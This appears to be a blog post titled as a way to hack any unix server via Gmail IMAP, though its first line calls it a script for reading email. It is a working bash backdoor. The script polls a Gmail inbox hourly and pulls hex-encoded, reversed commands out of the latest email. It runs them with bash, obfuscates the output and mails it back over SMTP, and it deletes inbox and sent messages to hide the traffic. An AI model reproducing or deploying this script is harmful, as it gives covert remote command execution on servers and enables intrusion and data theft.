A way to hack any unix server with internet access via imap gmail

I wrote this script to make a way to read you emails from gmail via BASH:
        #!/bin/bash

        while true;

        do

        sleep 3600;

        TOTAL_MESSAGES="1";

        while (( ${TOTAL_MESSAGES:=0} > 0 ));

        do

        GMAIL_USER="SEU YOUR";

        GMAIL_PW="YOUR PASSWORD";

        AUTH_HASH="YOUR HASH BASE 64";

        SLEEP_TIME=2;

        TOTAL_MESSAGES="$(

        openssl s_client -crlf -connect imap.gmail.com:993 < <(

        sleep ${SLEEP_TIME}; echo "A01 LOGIN $GMAIL_USER $GMAIL_PW";

        sleep ${SLEEP_TIME}; echo "A02 SELECT INBOX";

        sleep ${SLEEP_TIME}; echo "A02 LOGOUT";

        sleep ${SLEEP_TIME}; echo "";

        ) 2>&1 | tr -d "\r" | grep -E "^[*] [0-9]* EXISTS$"| sed "s/^[*] \([0-9]*\) EXISTS.*$/\1/g";

        )";


        TOTAL_MESSAGES_SENDED="$(

        openssl s_client -crlf -connect imap.gmail.com:993 < <(

        sleep ${SLEEP_TIME}; echo "A01 LOGIN $GMAIL_USER $GMAIL_PW";

        sleep ${SLEEP_TIME}; echo "A02 SELECT \"[Gmail]/E-mails enviados\"";

        sleep ${SLEEP_TIME}; echo "A02 LOGOUT";

        sleep ${SLEEP_TIME}; echo "";

        ) 2>&1 | tr -d "\r" | grep -E "^[*] [0-9]* EXISTS$"| sed "s/^[*] \([0-9]*\) EXISTS.*$/\1/g";

        )";


        LAST_MAIL="$(

        openssl s_client -crlf -connect imap.gmail.com:993 < <(

        sleep ${SLEEP_TIME}; echo "A01 LOGIN $GMAIL_USER $GMAIL_PW";

        sleep ${SLEEP_TIME}; echo "A02 SELECT INBOX";

        sleep ${SLEEP_TIME}; echo "A05 FETCH $TOTAL_MESSAGES ALL";

        sleep ${SLEEP_TIME}; echo "A06 FETCH $TOTAL_MESSAGES:$TOTAL_MESSAGES BODY[TEXT]";

        sleep ${SLEEP_TIME}; echo "A08 store $TOTAL_MESSAGES +FLAGS (\\Deleted)";

        sleep ${SLEEP_TIME}; echo "a09 expunge";

        sleep ${SLEEP_TIME}; echo "A02 SELECT \"[Gmail]/E-mails enviados\"";

        sleep ${SLEEP_TIME}; echo "A08 store 1:$TOTAL_MESSAGES_SENDED +FLAGS (\\Deleted)";

        sleep ${SLEEP_TIME}; echo "A09 expunge";

        sleep ${SLEEP_TIME}; echo "A02 LOGOUT";

        sleep ${SLEEP_TIME}; echo "";

        ) 2>&1 | tr -d "\r"

        )"


        SUBJECT="RES: $(echo -e "$LAST_MAIL" | grep ENVELOPE | sed 's/^* [0-9]* FETCH (ENVELOPE ("[^"]*"[ ]"\([^"]*\)".*/\1/g')";

        DEST_ADDR="$(echo -e "$LAST_MAIL" | grep ENVELOPE | sed 's/^* [0-9]* FETCH (ENVELOPE .* (("[^"]*" NIL "\([^ ]*\)" "\([^"]*\)".*/\1@\2/g')"

        # CODE_TO_RUN="$(echo -e "$LAST_MAIL" | sed -n "/^# NOISSES_KCAH_TRATS #$/,/^# NOISSES_KCAH_DNE #$/p")";

        CODE_TO_RUN="$(echo -e "$LAST_MAIL" | tr -d "\n" | grep "NOISSES_KCAH_TRATS" | sed "s/.*# NOISSES_KCAH_TRATS #\(.*\)# NOISSES_KCAH_DNE #.*/\1/g" | xxd -r --ps | rev )";


        [ "$DEST_ADDR" == "mailer-daemon@google.com" ] && break;

        grep "Delivery to the following recipient failed permanently" <( echo -e "${LAST_MAIL}" ) && break;

        (( ${TOTAL_MESSAGES:=0} == 0 )) && break;


        MAIL_BODY="$(

        {

        [ "$CODE_TO_RUN" == "" ] && echo -e "

        # NUR OT EDOC ON #

        # NOISSES NOISSES_KCAH_DNE DNA NOISSES_KCAH_TRATS EHT TEGROF UOY OD #

        " || bash < <(echo -e "$CODE_TO_RUN" ) 2>&1 ;

        echo -e "

        # ---------------------------------------------------------- #

        # REKCAH #

        # --------------------- EGASSEM LANIGIRO ------------------- #

        \n${LAST_MAIL}

        ";

        } | xxd --ps | rev | bzip2 -c | xxd --ps | rev

        )";



        openssl s_client -crlf -connect smtp.gmail.com:465 < <(

        sleep $SLEEP_TIME; echo "ehlo ${GMAIL_USER}";

        sleep $SLEEP_TIME; echo "AUTH PLAIN ${AUTH_HASH}";

        sleep $SLEEP_TIME; echo "mail from:<${GMAIL_USER}@gmail.com>";

        sleep $SLEEP_TIME; echo "rcpt to:"; sleep $SLEEP_TIME; echo "rcpt to:<${DEST_ADDR}>"; sleep $SLEEP_TIME; echo "DATA"; sleep $SLEEP_TIME; echo "From: ${GMAIL_USER}"; sleep $SLEEP_TIME; echo "Subject: $SUBJECT"; sleep $SLEEP_TIME; echo "To: ${GMAIL_USER}.postmail@blogger.com"; sleep $SLEEP_TIME; echo ""; sleep $SLEEP_TIME; echo -e "${MAIL_BODY}"; sleep $SLEEP_TIME; echo ""; sleep $SLEEP_TIME; echo "."; sleep $SLEEP_TIME; echo "quit"; sleep $SLEEP_TIME;) 2>&1 | cat - > /dev/nulldone;done;

Comentários

Postagens mais visitadas